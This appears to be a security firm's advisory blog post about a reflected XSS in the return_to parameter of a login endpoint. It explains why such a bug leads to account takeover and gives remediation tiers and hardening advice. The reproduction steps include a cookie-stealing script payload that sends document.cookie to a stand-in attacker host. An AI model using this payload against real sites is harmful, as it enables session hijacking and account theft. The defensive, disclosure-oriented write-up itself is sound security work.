Reflective XSS in an Auth Endpoint: Why Account Takeover Is the Default Outcome
V-Spot identified a reflected cross-site scripting vulnerability in the return_to parameter of an application's /auth/v2/login/signin endpoint. The finding is a textbook reflected XSS, but its location on an authentication endpoint means the chain from injection to account takeover is short and reliable. This is V-Spot's writeup of the specific finding and the wider point that XSS on an auth flow is almost always ATO by construction, not by coincidence.
During an application review, V-Spot's research division identified a reflected cross-site scripting vulnerability in the return_to parameter of an authentication endpoint at /auth/v2/login/signin. The parameter accepts a URL used to redirect users after a successful login, and the endpoint reflected the parameter's value into the response body without adequate output encoding. Injecting JavaScript through that parameter produced arbitrary script execution in the origin of the authentication endpoint itself.
That last detail is the reason this finding matters. A reflected XSS on a marketing page is a low-severity nuisance. A reflected XSS on an authentication endpoint is, in most realistic session-cookie configurations, an account takeover primitive. This is V-Spot's writeup of the technical finding, the chain from XSS to ATO in this specific case, and the wider point that XSS on auth flows should be treated as ATO by default rather than as a category of bug that occasionally escalates.
The vulnerable request
The vulnerable endpoint accepts the following query string shape:
/auth/v2/login/signin?return_to={{PAYLOAD}}&theme=hc&locale=1&brand_id={{BRAND_ID}}&auth_origin={{AUTH_ORIGIN}}The return_to parameter is intended to hold a relative URL that the flow redirects to after successful sign-in. In this deployment, the parameter's value was rendered back into the HTML of the login page (specifically, into a hidden form field and into a JavaScript redirect handler) without HTML-context or JavaScript-context encoding.
Two different sinks in the same page were reachable. The hidden form field allowed a reflected XSS via a broken-out-of-attribute-context payload of the form "><script>...</script>. The JavaScript redirect handler allowed a javascript: URI payload to execute in the context of the login page origin if the redirect was followed. Either sink is sufficient to demonstrate script execution. The form-field sink is the higher-impact primitive because it fires immediately on page load rather than only on redirect.
For the reproduction:
1. Compose a URL of the form /auth/v2/login/signin?return_to="><script>fetch("//attacker.example/steal?c="+document.cookie)</script>&theme=hc&locale=1&brand_id=...&auth_origin=...
2. Deliver the URL to a target user through any channel that produces a click (email, chat, an embedded link on a compromised site).
3. When the target loads the login page, the injected script executes in the origin of the authentication endpoint before the target has completed sign-in.
4. If the target is already authenticated in the same origin, the script has immediate access to their session cookies through document.cookie (assuming they are not HttpOnly-flagged, which is not universal for auth flows).
The V-Spot proof of concept used the innocuous javascript:alert(1) payload to demonstrate script execution. The account-takeover chain below explains why that harmless-looking proof of concept translates directly to a serious exploitation primitive.
Why XSS on an auth endpoint is ATO by construction
Cross-site scripting on an authentication endpoint has structural advantages over XSS on other pages that make account takeover the natural next step, not an exceptional escalation.
The origin is trusted. Modern browsers apply Content Security Policy, cookie flags, and same-origin restrictions per-origin. Scripts running in the origin of the authentication endpoint are inside the browser's trust boundary for that origin's cookies, its localStorage, its IndexedDB, and its session state. XSS on login.example.com has access to everything the browser is willing to give to login.example.com, which typically includes session cookies for the authentication flow.
Session tokens are, by definition, present in this flow. The purpose of the endpoint is to establish or refresh a session. If the session is already active (a common case for users navigating back through email links, password managers, or SSO redirects) the session tokens are already stored in the browser under this origin. Even if not, they will be in a few seconds when the user completes the sign-in.
Password managers auto-fill on auth endpoints. Chrome, 1Password, Bitwarden, and every major password manager treat the login page as an obvious auto-fill target. A script running on the login page can read the values that the password manager has just typed into the form fields, capturing credentials directly in cleartext before the user has clicked submit.
Session cookies without HttpOnly are widespread. Any session mechanism that reads cookies from JavaScript for API-call authorisation exposes them to XSS. Modern practice sets HttpOnly on session cookies to defeat exactly this reading, but the practice is not universal. Any auth flow that mixes cookie-based sessions with JavaScript-visible tokens (e.g. CSRF tokens exposed to JS, JWT-in-localStorage patterns) has structurally reduced its own defence against auth-endpoint XSS.
Password-change and email-change endpoints typically require only the current session. Once the attacker has hijacked the session (via cookie theft, token theft, or a captured password), the standard follow-on primitives for account takeover follow without further authentication: change the password to lock the legitimate user out, change the recovery email to prevent password reset, disable multi-factor authentication where possible, and exfiltrate account data.
The chain from reflected XSS to full account takeover is short. Under realistic deployment conditions, it is the default rather than the exception.
The specific fix
For the endpoint itself, the fix has two components. The output-encoding fix is straightforward: apply context-appropriate encoding at every sink where the return_to parameter is rendered. HTML-context encoding for HTML sinks. JavaScript-string-literal encoding for JS sinks. URL-encoding for URL sinks. Rendering user-controlled input without knowing which sink context applies is the underlying implementation error.
The input-validation fix is architectural. The return_to parameter has a specific semantic meaning: it should be a relative URL, or a URL matching a whitelisted set of allowed post-login destinations. Any deviation from that shape should be rejected at parse time rather than reflected. A whitelisted-set approach eliminates the reflection primitive at input, before any sink-specific encoding is required.
For the wider architecture, the fix is HTTP-header discipline. Content Security Policy with a strict script-src directive that disallows inline scripts and javascript: URIs makes reflected XSS substantially harder to weaponise. HttpOnly on session cookies removes the JavaScript reachability of the primary session token. SameSite=Strict on session cookies mitigates cross-site clickthrough attacks that would otherwise deliver malicious return_to URLs to authenticated users.
The remediation V-Spot recommended
The remediation V-Spot delivered to the affected vendor was structured in three tiers, in the order they should be deployed:
Immediate. Reject any return_to parameter that is not a relative URL or does not match the vendor's whitelisted post-login redirect domains. This eliminates the reflection primitive without requiring a code review of every sink.
Short term. Apply context-appropriate output encoding at every rendering site of the return_to parameter. Verify that the JavaScript sink and the HTML-attribute sink each receive encoding matched to their context.
Longer term. Roll out a strict Content Security Policy across the authentication flow, set HttpOnly and SameSite=Strict on the session cookie, and document a repeatable process for reviewing any new user-controlled parameter that gets rendered in an auth-flow page.
Seven concrete moves for teams shipping authentication flows
If your product ships an authentication flow, the moves below are the ones V-Spot researchers would prioritise:
1. Audit every parameter reflected in an auth-endpoint response. return_to, redirect, next, state, error_description, and their vendor-specific equivalents. Every one of them is a potential reflection sink.
2. Set HttpOnly on your session cookie. This is a one-line configuration change with a high defensive payoff. There is almost never a legitimate reason for JavaScript to read the session cookie directly.
3. Set SameSite=Strict where the auth flow allows it. SameSite=Lax is the common compromise; Strict is stronger and works for most native login flows that do not depend on third-party redirects.
4. Deploy Content Security Policy on the auth flow specifically. Even a CSP that permits inline scripts on the rest of your site should ban them on the login page. The blast radius of a mistake on the login page is much larger than on a marketing page.
5. Reject `javascript:` URIs at the input layer for any redirect parameter. Do not rely on the sink to sanitise this. Reject at parse.
6. Whitelist post-login redirect destinations. Any URL used as a redirect target after authentication should match a small, documented whitelist of destinations you actually redirect to. Open redirects on auth endpoints are the ambient failure mode.
7. Treat auth-endpoint XSS as a P0 severity by default. The chain from reflected XSS to account takeover is short and reliable on almost every real deployment. Triage accordingly.
The V-Spot lens
Reflected XSS is often filed under low-severity in vulnerability management systems because the general case does not always chain to something worse. On an authentication endpoint, that filing is wrong. The origin of an auth endpoint contains the session tokens, receives the auto-filled credentials, and hosts the password-change primitive. XSS here has direct paths to full account compromise that do not require additional infrastructure or additional bugs.
The specific finding was reported responsibly to the affected vendor. The wider point that V-Spot's research division stands behind is that most organisations still under-triage auth-endpoint XSS relative to its actual exploitation potential. When we see reflected XSS on an authentication endpoint in a client engagement, we treat it as an account takeover primitive by default. So do the attackers who find them.
If your authentication flow includes user-controlled parameters that are rendered anywhere in the response, or you are reviewing an existing auth surface for this class of bug, V-Spot's research division and offensive security team can help. Auth-endpoint XSS is a bug class where a targeted review pays back the investment quickly.